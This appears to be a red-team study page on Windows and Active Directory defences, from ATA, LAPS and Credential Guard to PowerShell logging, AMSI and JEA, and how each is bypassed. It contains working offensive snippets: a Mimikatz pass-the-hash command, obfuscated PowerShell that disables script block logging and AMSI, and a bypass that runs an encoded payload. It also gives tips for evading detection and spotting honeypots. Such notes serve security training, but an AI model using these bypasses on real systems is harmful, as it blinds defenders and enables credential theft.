Defences and Bypasses

Microsoft Advanced Threat Analytics (ATA)

ATA takes a baseline of an org (takes a few weeks) then reports anomolous traffic.

Its good for detecting:

  • Recon

  • Compromised credential attacks

  • Replay attacks

However can be bypassed. In general by avoiding the DC as much as possible. Session enum without touching DC is usually fine etc.

When passing creds use the right enc key! Can use all encryption keys as below. May need to remove ntlm to bypass, but depends on version.

Invoke-Mimikatz -Command '"sekurlsa::pth /user:privservice / /aes256:aes256 /ntlm:ntlm /aes128:aes128"'

LAPS - Local Administrator Password Solution

Provides centralized storage of passwords in AD with periodic randomizing where read permissions are access controlled. Computer objects have two new attributes - ms-mcs-AdmPwd attribute stores the clear text password and ms-mcs-AdmPwdExpirationTime controls the password change. Storage is in clear text, transmission is encrypted.

Certain users within AD are granted access to read LAPS passwords. These users can be enumerated with Bloodhoundv3. In general hashes can still be gained from machines, just not clear-text creds.

Credential Guard

Also called Windows Defender Credential Guard. It is effective at stopping PTH and over-PTH attacks by restricting access to TGTs in memory and NTLM hashes. Credentials in SAM and LSA secrets still recoverable though.

Credential guard cannot be put in place on a DC otherwise it breaks authentication. It is only available on Win 10 and server 2016. It is possible to replay service account credentials for lateral movement even if credential guard is enabled.

Device Guard

Now called, Windows Defender Device Guard. It is a group of features "designed to harden a system against malware attacks. Its focus is preventing malicious code from running by ensuring only known good code can run."

It has three primary components:

Configurable Code Integrity (CCI) - Configure only trusted code to run –

Virtual Secure Mode Protected Code Integirty - Enforces CCI with Kernerl Mode (KMCI)

User Mode (UMCI) – Platform and UEFI Secure Boot - Ensures boot binaries and firmware integrity

UMCI is something which interferes with most of the lateral movement attacks we have seen. While it depends on the deployment, many well known application whitelisting bypasses - signed binaries like csc.exe, MSBuild.exe etc. are useful for bypassing UMCI as well.

Protected User Groups

Protected Users is a group introduced in Server 2012 R2 for "better protection against credential theft" by not caching credentials in insecure ways.

A user added to this group:

  • Cannot use CredSSP and WDigest - No more cleartext credentials caching.

  • NTLM hash is not cached.

  • Kerberos does not use DES or RC4 keys. No caching of clear text cred or long term keys.

If the domain functional level is Server 2012 R2:

  • No NTLM authentication.

  • No DES or RC4 keys in Kerberos pre-auth.

  • No delegation (constrained or unconstrained).

  • No renewal of TGT beyond initial for hour lifetime - Hardcoded, unconfigurable "Maximum lifetime for user ticket" and "Maximum lifetime for user ticket renewal"

  • Needs all domain control to be at least Server 2008 or later (because AES keys).

  • No cached logon ie.e no offline sign-on.

Microsoft do not recommend adding DAs and EAs to this group without testing potential lockout. Having computer and service accounts in this group is useless as their credentials will always be present on the host machine.

Privileged Admin Workstations (PAWs)

A hardened workstation for performing sensitive tasks like administration of domain controllers, cloud infrastructure, sensitive business functions etc. This can provide protection from phishing attacks, OS vulnerabilities, credential replay attacks.

Admin Jump servers to be accessed only from a PAW, multiple strategies such as separate privilege and hardware for administrative and normal tasks. Having a VM on a PAW for user tasks.

Tier Model

Composed of three levels only for administrative accounts:

  • Tier 0 – Accounts, Groups and computers which have privileges across the enterprise like domain controllers, domain admins, enterprise admins.

  • Tier 1 - Accounts, Groups and computers which have access to resources having significant amount of business value. A common example role is server administrators who maintain these operating systems with the ability to impact all enterprise services.

  • Tier 2 - Administrator accounts which have administrative control of a significant amount of business value that is hosted on user workstations and devices. Examples include Help Desk and computer support administrators because they can impact the integrity of almost any user data.

Admins should control systems in the same tier and use seperate accounts for each tier. An admin should never log on to a system in a lower level tier (ie a tier 0 admin should never log on to a tier 1 system).

ESAE (Enhanced Security Administration Environment) = Red Forest

Dedicated administrative forest for managing critical assets like administrative users, groups and computers. Since a forest is considered a security boundary rather than a domain, this model provides enhanced security controls. The administrative forest is also called the Red Forest.

Administrative users in a production forest are used as standard nonprivileged users in the administrative forest. Selective Authentication to the Red Forest enables stricter security controls on logon of users from non-administrative forests.


Honeypots can be pretty much anything in AD. These can be created with scripts such as Deploy-Deception. They can be creds left, kerberoastable users, fake computers etc. Wont go into much detail since its got huge reaching potential.

Detecting honeypots might be able to be done with Honeypot-Buster etc. Generally looking at other objects in AD that you know to be true to see how the potential fakes compare. Watch out for low hanging fruit!!

Look out for:

  • ObjectSID - make sure it actually matches the domain.

  • LastLogon - make sure its realistic.

  • LastLogontimestamp - make sure its realistic.

  • Logoncount.

  • WhenCreated.

  • Badpwdcount.

  • Compare with known good.

Powershell Whitelisting

Use Application Control Policies (Applocker) and Device Guard to restrict PowerShell scripts. If Applocker is configured in "Allow mode" for scripts, PowerShell 5 automatically uses the Constrained Language Mode. In the constrained language mode, all Windows cmdlets and elements are allowed but allows only limited types. For example, Add-Type, Win32APIs, COM objects are not allowed. Both are supported by GPO, your mileage may vary according to your implementation preferences.


Please be mindful of whitelisting implementation. For example, if powershell.exe is blocked. .NET code can use System.Management.Automation NameSpace to load Powershell functionality.

C:\Windows\Microsoft.NET\Framework\v4.0.30319>msbuild.exe pshell.xml

Powershell Enhanced Logging

PS v5 supports Enhanced logging – script block logging and system-wide transcription. This allows Blue teams to have a very in-depth look of an attacker's activities if he is using PowerShell.

Script Block Logging

Logs contents of all the script blocks processed by the PowerShell engine regardless of host used. Can be enabled using Group Policy (Administrative Templates -> Windows Components -> Windows PowerShell -> Turn on PowerShell Script Block Logging).

Logs to Microsoft-WindowsPowerShell/Operational. By-default only first execution of a script block is logged (Verbose 4104). Set "Log script block invocation start / stop events" for start and stop of scripts in Event ID 4105 and 4106. (Multi-fold increase in number of logs).

HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging is the Registry key. Set EnableScriptBlockLogging to 1. (See EnablePSScriptBlockLogging in the referred blog) PowerShell v5 onwards logs (Warning level Event ID 4104) some suspicious script blocks automatically based on a list of suspicious commands. See:

It also records the original obfuscated code as well as decoded and deobfuscatedcode.


Script block logging can be bypassed for the current session without admin rights by disabling it from the Group Policy Cache as discovered by Ryan Cobb. For efficiency, Group Policy settings are cached and used by Powershell. It is possible to read and modify the settings! Taken From:

$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static') If ($GroupPolicyField) { $GroupPolicyCache = $GroupPolicyField.GetValue($null) If ($GroupPolicyCache['ScriptB'+'lockLogging']) { $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0 $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0 } $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new() $val.Add('EnableScriptB'+'lockLogging', 0) $val.Add('EnableScriptB'+'lockInvocationLogging', 0)
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val }

Recall that the Warning level script block logging (which is enabled by default) uses a list of known bad words. Turns out the logging can be bypassed for the current session without admin rights by setting the list (signatures field in the ScriptBlock class ) to null. Once again, discovered by Ryan Cobb. Taken From:

# The bypass [ScriptBlock]."GetFiel`d"('signatures','N'+'onPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]))
# To use a base64 encoded payload script with the bypass [ScriptBlock]."GetFiel`d"('signatures','N'+'onPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));[Text.Encoding]::Unicode.GetString([Convert]::FromBase64S tring('IgA8AE0AeQAgAHMAdQBzAHAAaQBjAGkAbwB1AHMAIABOAG8AbgBQAHUAYgBsAGkAYwAgAHAAYQB5AGwAbwBhAGQA PgAiAA=='))|iex

Module Logging

Available since PowerShell v3, module logging logs pipeline execution and command execution events. Can be enabled using Group Policy (Administrative Templates -> Windows Components -> Windows PowerShell -> Turn on Module Logging). Use "' to log for all modules. Logs to Microsoft-Windows-PowerShell/Operational with Event ID 4103. HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell ModuleLogging is the Registry key. Set EnableModuleLogging to 1. HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell ModuleLogging\ModuleNames is the Regsitry key. Create a key and set it to * for all modules.

Warning level script block logging checks only for a known list of suspicious commands. Large number of logs for script block logging. Even more if invocation of script blocks is logged. Huge number of logs when module logging is enabled.

Powershell System Wide Transcription

Enables transcription (console logging) for everything (powershell.exe, PowerShell ISE, custom hosts - .NET DLL, msbuild, installutil etc.) which uses PowerShell engine. Can be enabled using Group Policy (Administrative Templates -> Windows Components -> Windows PowerShell -> Turn on PowerShell Transcription). By-default transcripts are saved in the user's "My Documents" directory. HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription is the Registry key. Set EnableTranscriptng to 1. (See EnablePSTranscription in the referred blog)

The transcripts are written as text files and can quickly grow in size because the command output is also recorded. It is always recommended to forward the transcripts to a log system to avoid tempering and running out of disk space. • Known problems - Too many logs in an enterprise level network. Enabling transcripts on a DC breaks the Active Directory Administration Centre GUI application.

Powershell AMSI

AMSI (AntiMalware Scan Interface) provides the registered antivirus access to contents of a script before execution. This allows detection of malicious scripts regardless of input method (disk, encodedcommand, in-memory). Enabled by-default on Windows 10 and supported by Windows Defender. Known problem: AMSI has no detection mechanism. It is dependent on the signature based detection by the registered antivirus.


AMSI can be bypassed for the current session without admin rights by setting the amsiInitFailed of System.Management.Automation.AmsiUtils to true as tweeted by Matt Graber

# Use s_amsiInitFailed instead of amsiInitFailed for PowerShell v6. 

#Bypass one - marked as malicious by some AntiVirus. Use with obfuscation. 
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInit Failed','NonPublic,Static').SetValue($null,$true)

#Bypass two - not detected by auto logging 
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie '+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$Tr ue)

Powershell Obfuscation

Obfuscation defeats script block logging, warning level auto logging and AMSI when done right. As a very simple example, we have already seen how GetField becomes GetFiel`d to bypass warning level auto logging. Invoke-Obfuscation and Invoke-CradleCrafter from Daniel ( are very useful for implementing obfuscation.

Obfuscated scripts can be spotted by comparing common characteristics like variable names, function names, character frequency, distribution of language operators, entropy etc. Revoke-Obfusction ( is one such tool for identifying obfuscated scripts from event logs. Bonus: To avoid detection of obfuscation we can use minimal obfuscation by identifying the exact signature which gets detected and obfuscating only that part of the script. See:

Powershell Constrained Language

Language mode in PowerShell is used to control access to different elements for a PowerShell session. In the constrained language mode, all Windows cmdlets and elements are allowed but allows only limited types. For example, Add-Type, Win32APIs, COM objects are not allowed. Intended to work with Applocker in Allow mode or UMCI (Device Guard User Mode Code Integrity). When Allow mode is set for scripts in Applocker, the Constrained Language mode kicks-in by itself. Known problem: Not easy to implement enterprise-wide.

Powershell Just Enough Administration (JEA)

JEA (Just Enough Administration) provides role based access control for PowerShell based remote delegated administration. With JEA non-admin users can connect remotely to machines for doing specific tasks. Focused more on securing privileged access than solving a problem introduced with PowerShell unlike others discussed so far. JEA endpoints have PowerShell transcription and logging enabled.

Powershell v6

PowerShell v6.0.0 (pwsh.exe) has only two of the discussed security features: Warning level script block logging (not automatic) and AMSI (the bypasses still works). This is probably because it is not Windows PowerShell but PowerShell Core. The warning level script block logging needs to be setup by running a PowerShell script RegisterMaifest.ps1 which registers the PowerShellCore event provider.

Powershell Downgrade

PowerShell version 2 lacks ALL of the detection mechanisms we discussed. PowerShell version 2 can be called using the -Version parameter or by using v2 reference assemblies. Version v2.0, 3.0 or 3.5 of the .NET Framework is required to use PowerShell v2. PowerShell v2 Windows features must be enabled (enabled by default).

Windows PowerShell log Event ID 400 contains Engine version which can be used for detection.

Last updated